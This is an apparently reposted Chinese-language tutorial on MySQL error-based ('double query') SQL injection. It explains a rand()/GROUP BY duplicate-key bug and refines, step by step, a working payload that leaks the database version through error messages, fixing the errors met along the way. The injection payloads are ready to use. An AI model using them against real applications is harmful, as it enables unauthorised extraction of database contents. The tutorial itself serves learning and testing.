国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的。
这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.重现过程
use mysql;create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);select left(rand(),3),a from r1 group by 1;select left(rand(),3),a, count(*) from r1 group by 1;select round(rand(1),1),a, count(*) from r1 group by 1;
于是便可以这样拿来爆错注入了。
select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;
尝试拿来实战
select * from user where user=’root’ and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示错误 选择的列应该为一个。那么。我们换一下
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));
1248 (42000): Every derived table must have its own alias
提示多表查询要有别名 那好办
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了
91ri.org：个人认为这篇：《双查询注入》中关于mysql爆错注入介绍的更为详细，推荐一下。
